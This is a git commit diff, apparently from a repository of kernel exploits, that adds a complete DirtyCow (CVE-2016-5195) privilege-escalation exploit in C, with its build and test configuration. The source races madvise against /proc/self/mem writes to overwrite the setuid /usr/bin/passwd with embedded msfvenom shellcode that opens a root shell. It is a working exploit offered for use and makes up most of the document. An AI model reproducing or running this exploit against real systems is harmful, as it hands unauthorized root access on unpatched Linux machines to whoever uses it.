Add CVE-2016-5195
This commit is contained in:
parent
fbd243f205
commit
162e38f148
@ -22,6 +22,7 @@ env:
|
|||||||
- GO111MODULE=on
|
- GO111MODULE=on
|
||||||
matrix:
|
matrix:
|
||||||
- EXPLOIT=CVE-2017-16995
|
- EXPLOIT=CVE-2017-16995
|
||||||
|
- EXPLOIT=CVE-2016-5195
|
||||||
|
|
||||||
before_script:
|
before_script:
|
||||||
- go get -u code.dumpstack.io/tools/out-of-tree
|
- go get -u code.dumpstack.io/tools/out-of-tree
|
||||||
|
13
CVE-2016-5195/.out-of-tree.toml
Normal file
13
CVE-2016-5195/.out-of-tree.toml
Normal file
@ -0,0 +1,13 @@
|
|||||||
|
name = "CVE-2016-5195"
|
||||||
|
type = "exploit"
|
||||||
|
|
||||||
|
# TODO: Add other major kernel versions
|
||||||
|
|
||||||
|
[[supported_kernels]]
|
||||||
|
distro_type = "Ubuntu"
|
||||||
|
distro_release = "16.04"
|
||||||
|
[supported_kernels.kernel]
|
||||||
|
version = [ 4 ]
|
||||||
|
major = [ 4 ]
|
||||||
|
minor = [ 0 ]
|
||||||
|
patch = [ 0, 43 ]
|
158
CVE-2016-5195/CVE-2016-5195.c
Normal file
158
CVE-2016-5195/CVE-2016-5195.c
Normal file
@ -0,0 +1,158 @@
|
|||||||
|
/*
|
||||||
|
* (un)comment correct payload first (x86 or x64)!
|
||||||
|
*
|
||||||
|
* $ gcc cowroot.c -o cowroot -pthread
|
||||||
|
* $ ./cowroot
|
||||||
|
* DirtyCow root privilege escalation
|
||||||
|
* Backing up /usr/bin/passwd.. to /tmp/bak
|
||||||
|
* Size of binary: 57048
|
||||||
|
* Racing, this may take a while..
|
||||||
|
* /usr/bin/passwd overwritten
|
||||||
|
* Popping root shell.
|
||||||
|
* Don't forget to restore /tmp/bak
|
||||||
|
* thread stopped
|
||||||
|
* thread stopped
|
||||||
|
* root@box:/root/cow# id
|
||||||
|
* uid=0(root) gid=1000(foo) groups=1000(foo)
|
||||||
|
*
|
||||||
|
* @robinverton
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <pthread.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
void *map;
|
||||||
|
int f;
|
||||||
|
int stop = 0;
|
||||||
|
struct stat st;
|
||||||
|
char *name;
|
||||||
|
pthread_t pth1,pth2,pth3;
|
||||||
|
|
||||||
|
// change if no permissions to read
|
||||||
|
char suid_binary[] = "/usr/bin/passwd";
|
||||||
|
|
||||||
|
/*
|
||||||
|
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
|
||||||
|
*/
|
||||||
|
unsigned char sc[] = {
|
||||||
|
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
|
||||||
|
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
|
0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
|
||||||
|
0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
|
||||||
|
0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
|
||||||
|
0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
|
||||||
|
0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
|
||||||
|
};
|
||||||
|
unsigned int sc_len = 177;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
|
||||||
|
unsigned char sc[] = {
|
||||||
|
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
|
||||||
|
0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
|
||||||
|
0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
|
||||||
|
0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
|
||||||
|
0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
|
||||||
|
0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
|
||||||
|
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
|
||||||
|
0x89, 0xe1, 0xcd, 0x80
|
||||||
|
};
|
||||||
|
unsigned int sc_len = 136;
|
||||||
|
*/
|
||||||
|
|
||||||
|
void *madviseThread(void *arg)
|
||||||
|
{
|
||||||
|
char *str;
|
||||||
|
str=(char*)arg;
|
||||||
|
int i,c=0;
|
||||||
|
for(i=0;i<1000000 && !stop;i++) {
|
||||||
|
c+=madvise(map,100,MADV_DONTNEED);
|
||||||
|
}
|
||||||
|
printf("thread stopped\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
void *procselfmemThread(void *arg)
|
||||||
|
{
|
||||||
|
char *str;
|
||||||
|
str=(char*)arg;
|
||||||
|
int f=open("/proc/self/mem",O_RDWR);
|
||||||
|
int i,c=0;
|
||||||
|
for(i=0;i<1000000 && !stop;i++) {
|
||||||
|
lseek(f,map,SEEK_SET);
|
||||||
|
c+=write(f, str, sc_len);
|
||||||
|
}
|
||||||
|
printf("thread stopped\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
void *waitForWrite(void *arg) {
|
||||||
|
char buf[sc_len];
|
||||||
|
|
||||||
|
for(;;) {
|
||||||
|
FILE *fp = fopen(suid_binary, "rb");
|
||||||
|
|
||||||
|
fread(buf, sc_len, 1, fp);
|
||||||
|
|
||||||
|
if(memcmp(buf, sc, sc_len) == 0) {
|
||||||
|
printf("%s overwritten\n", suid_binary);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
fclose(fp);
|
||||||
|
sleep(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
stop = 1;
|
||||||
|
|
||||||
|
printf("Popping root shell.\n");
|
||||||
|
printf("Don't forget to restore /tmp/bak\n");
|
||||||
|
|
||||||
|
system(suid_binary);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc,char *argv[]) {
|
||||||
|
char *backup;
|
||||||
|
|
||||||
|
printf("DirtyCow root privilege escalation\n");
|
||||||
|
printf("Backing up %s to /tmp/bak\n", suid_binary);
|
||||||
|
|
||||||
|
asprintf(&backup, "cp %s /tmp/bak", suid_binary);
|
||||||
|
system(backup);
|
||||||
|
|
||||||
|
f = open(suid_binary,O_RDONLY);
|
||||||
|
fstat(f,&st);
|
||||||
|
|
||||||
|
printf("Size of binary: %d\n", st.st_size);
|
||||||
|
|
||||||
|
char payload[st.st_size];
|
||||||
|
memset(payload, 0x90, st.st_size);
|
||||||
|
memcpy(payload, sc, sc_len+1);
|
||||||
|
|
||||||
|
map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
|
||||||
|
|
||||||
|
printf("Racing, this may take a while..\n");
|
||||||
|
|
||||||
|
pthread_create(&pth1, NULL, &madviseThread, suid_binary);
|
||||||
|
pthread_create(&pth2, NULL, &procselfmemThread, payload);
|
||||||
|
pthread_create(&pth3, NULL, &waitForWrite, NULL);
|
||||||
|
|
||||||
|
pthread_join(pth3, NULL);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
7
CVE-2016-5195/Makefile
Normal file
7
CVE-2016-5195/Makefile
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
TARGET := CVE-2016-5195
|
||||||
|
|
||||||
|
all:
|
||||||
|
gcc CVE-2016-5195.c -o $(TARGET) -lpthread
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -f $(TARGET)
|
Loading…
Reference in New Issue
Block a user